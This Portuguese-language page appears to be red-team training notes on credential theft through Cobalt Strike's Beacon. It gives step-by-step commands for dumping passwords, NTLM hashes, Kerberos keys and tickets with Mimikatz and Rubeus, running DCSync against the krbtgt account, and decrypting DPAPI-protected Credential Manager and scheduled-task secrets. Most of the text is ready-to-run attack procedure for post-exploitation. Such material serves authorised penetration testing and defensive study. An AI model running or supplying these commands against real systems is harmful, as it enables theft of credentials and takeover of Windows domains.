Credential Theft (Roubo de Credenciais)

Mimikatz

O CS possui o Mimikatz integrado, porém ele trabalha de uma maneira diferente, já que cada vez que você executa o Mimikatz no Beacon, ele o faz em um novo processo temporário que é então destruído. Isso significa que para executar dois ou mais comandos relacionados, é necessário utilizar o ;, por exemplo:

mimikatz token::elevate ; lsadump::sam

Outro ponto importante que devemos destacar é, que temos dois operadores chaves. O primeiro deles, é o !, que eleva o Beacon para SYSTEM antes de executar o comando fornecido, o que é útil nos casos em que você está executando com alta integridade, mas precisa representar SYSTEM. Na maioria dos casos, ! é um substituto direto para token::elevate. Por exemplo, ao invés de chamarmos o Mimikatz como no exemplo acima onde utilizamos um ;, podemos fazer da seguinte maneira:

mimikatz !lsadump::sam
mimikatz !sekurlsa::logonpasswords

Caso você execute sekurlsa::logonpasswords e/ou sekurlsa::ekeys pode ser que você receba o erro ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list. Isso ocorre devido a versão do Mimikatz incorporada ao Cobalt Strike por padrão ser muito antiga para funcionar em versões posteriores do Windows, como 11 e Server 2022. O Kit Mimikatz permite que você traga compilações alternativas do Mimikatz para o CS para superar essa limitação e pode ser encontrada em <C:\path\to\cobaltstrike\arsenal-kit\kits\mimikatz\>. Note que temos um arquivo .cna nesse diretório e é exatamente esse arquivo que devemos carregá-lo em Menu Cobalt Strike > Script Manager. Agora utilizando o WSL, vá no diretório e execute o build.sh que também está presente no mesmo diretório.

</path/to/build.sh> </path/to/cobaltstrike/mimikatz>

O outro operador chave é o @, que representa o token de thread do Beacon antes de executar o comando fornecido, o que é útil nos casos em que o Mimikatz precisa interagir com um sistema remoto, como o dcsync. Isso também é compatível com outras primitivas de representação, como make_token e steal_token. Por exemplo:

# Realizando impersonate
make_token <DOMAIN>\<user> <senha>

# Utilizando o @
mimikatz @lsadump::dcsync /user:<DOMAIN>\krbtgt

sekurlsa::logonpasswords - Capturando Senha e Hashes

O CS automatizou o comando mimikatz !sekurlsa::logonpasswords do Mimikatz, em um simples logonpasswords. Depois de executar esse comando, vá no Menu View > Credentials para ver o resultado.

sekurlsa::ekeys - Capturando Chaves Kerberos

O módulo sekurlsa::ekeys do Mimikatz irá despejar as chaves de criptografia Kerberos dos usuários atualmente conectados. Como a maioria dos serviços modernos do Windows optam por usar Kerberos em vez de NTLM, aproveitá-los em vez de hashes NTLM faz mais sentido para se misturar ao tráfego de autenticação normal.

mimikatz !sekurlsa::ekeys

lsadump::sam - Capturando NTLM Local

O banco de dados Security Account Manager (SAM) contém apenas os hashes NTLM de contas locais. Eles podem ser extraídos com o módulo lsadump::sam do Mimikatz. Se uma conta de administrador local comum estiver sendo usada com a mesma senha em todo um ambiente, isso pode tornar muito trivial a movimentação lateral.

mimikatz !lsadump::sam

Domain Cached Credentials (DCC)

O DCC (Domain Cached Credentials / Credenciais Armazenadas em Cache de Domínio) foi projetado para que máquinas que já foram ingressadas no Domínio, consigam autenticar usuários (que já se autenticaram anteriormente), mesmo em casos onde não tem conectividade com o DC ou até mesmo em situações onde a máquina está sem internet. Isso do ponto de vista prático é bom, porém esses hashes em cache local podem ser extraídas e quebradas offline para recuperar credenciais de texto simples. Infelizmente, o formato hash não é NTLM, portanto não pode ser usado para fazer um pass-the-hash. O único uso viável para eles é quebrá-los offline e ele é bem mais lento para quebrar, do que o NTLM.

Para realizar esse dump, utilize o comando abaixo

mimikatz !lsadump::cache

Para quebrá-lo com o Hashcat, utilize o seguinte formato:

$DCC2$<iterations>#<username>#<hash>

Extraindo Tickets Kerberos

Rubeus é uma ferramenta C# projetada para interação e abusos do Kerberos, usando APIs legítimas do Windows. O comando abaixo (triage), listará todos os tickets Kerberos em sua sessão de logon atual e, se elevado, de todas as sessões de logon na máquina.

execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage

Na saída do comando acima, podemos ver que cada usuário/computador possui um LUID, que nada mais é do que um identificador. Iremos utilizar esse e outros valores para filtrar no comando abaixo e extrair (dump) somente os tickets da memória de um determinado usuário. Abaixo iremos filtrar com o LUID de um usuários que esteja com o Service do tipo krbtgt/<DOMAIN.LOCAL>.

execute-assembly <C:\Path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /nowrap /luid:<LUID> /service:krbtgt

Caso você não não informe o LUID e o Service, o Rubeus irá pegar de todos os usuários. O parâmetro /nowrap serve para deixar o ticket em uma linha única, o que pode ser melhor para copiar. Porém, caso prefira, remova esse parâmetro para que ele tenha quebra de linhas.

DCSync

O protocolo Directory Replication Service (MS-DRSR) é utilizado para sincronizar e replicar dados do Active Directory entre controladores de domínio. DCSync é uma técnica que aproveita esse protocolo para extrair dados de nome de usuário e credenciais de um DC. O CS possui um comando próprio dedicado para DCSync, sendo ele:

# Fazendo um impersonate de um usuário que tenha privilégios de Domain Admin
make_token <DOMAIN>\<user> <pass>

# Realizando o DCSync
dcsync <subdomain.domain.local> <SUBDOMAIN>\krbtgt

Assim, é possível extrair as chaves NTLM e AES para a conta krbtgt usando uma conta de administrador de domínio.

Windows Credential Manager

Execute no Beacon, para ver se existe senhas salvas Windows Credentials Manager.

run vaultcmd /list
run vaultcmd /listcreds:"Windows Credentials" /all
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> WindowsVault

Caso exista senhas salvas, podemos ver essas credenciais criptografas armazenadas no diretório Credentials dos usuários.

ls C:\Users\<user>\AppData\Local\Microsoft\Credentials

Caso queria automatizar uma busca por esses e outros diretórios que armazenam senhas, execute o seguinte comando:

execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> WindowsCredentialFiles

Existe a chave mestra que é usada para criptografar as chaves e elas são armazenadas no diretório Protect do usuário. O nome do arquivo, é um GUID, que devemos anotar para dar continuidade nos próximos comandos. Para ver esses arquivos, execute o comando abaixo.

ls C:\Users\<user</\AppData\Roaming\Microsoft\Protect\<SUID>

Como você pôde ver, isso também está criptografado, porém podemos contornar essa situção. Primeiro vamos descriptografar a chave mestra para obter a chave de criptografia AES128/256 real e, em seguida, usar essa chave para descriptografar o blob de credenciais. Há duas maneiras de fazer isso. A primeira maneira só é possível se você tiver acesso de administrador local na máquina e se a chave estiver armazenada em cache no LSASS. Ela não estará no cache se o usuário não tiver acessado/descriptografado recentemente a credencial.

mimikatz !sekurlsa::dpapi

Na saída do comando acima, verifique se o valor de GUID, dentro de SID, é mesmo valor de um dos arquivos exibidos no diretório Protect do usuário (comando executado anteiormente). Caso seja o mesmo, copie o valor do seu MasterKey.

A outra maneira não precisa de ter acesso privilégios altos ou interação com LSASS, pois este realizar solicitação ao DC por meio do Microsoft BackupKey Remote Protocol (MS-BKRP). Ele foi projetado para ser à prova de falhas caso um usuário altere ou esqueça sua senha e para oferecer suporte a diversas funcionalidades de cartão inteligente.

mimikatz dpapi::masterkey /in:<C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SUID>\<GUID> /rpc

Note que é resultado que queremos está no valor de key que, obviamente, é o mesmo valor que pôde ser localizado em MasterKey no comando anteior.

OBS.: Isso só funcionará se for executado no contexto do usuário que possui a chave. Se o seu Beacon estiver sendo executado como outro usuário ou SYSTEM, você deve primeiro representar o usuário alvo de alguma forma e, em seguida, executar o comando usando o modificador @.

Após ter feito um dos procedimentos acima e ter a chave em mãos, podemos finalmente descriptografar o blob, vendo o resultado no campo CredentialBlob.

mimikatz dpapi::cred /in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<HASH> /masterkey:<masterkey_value>

Scheduled Task Credentials

As tarefas agendadas podem salvar credenciais para que possam ser executadas no contexto de um usuário sem que ele precise estar conectado. Se tivermos privilégios de administrador local em uma máquina, podemos descriptografá-los da mesma maneira. Os blobs são salvos em C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\. De uma maneira fácil, podemos utilizar o Mimikatz para nos informar a chave mestra utilizada para criptografar cada um. Guarde o valor do campo guidMasterKey.

mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\<hash>

Agora, vamos realizar o dump das chaves em cache e procure no campo GUID, o mesmo valor de guidMasterKey (na saída do comando anterior). Assim que localizar, pegue o valor do campo MasterKey.

mimikatz !sekurlsa::dpapi

Com o valor de MasterKey em mãos, vamos descriptografar. A senha estará no valor CredentialBlob.

mimikatz dpapi::cred /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\<hash> /masterkey:<masterkey_value>

Sites

# Rubeus
https://github.com/GhostPack/Rubeus

Last updated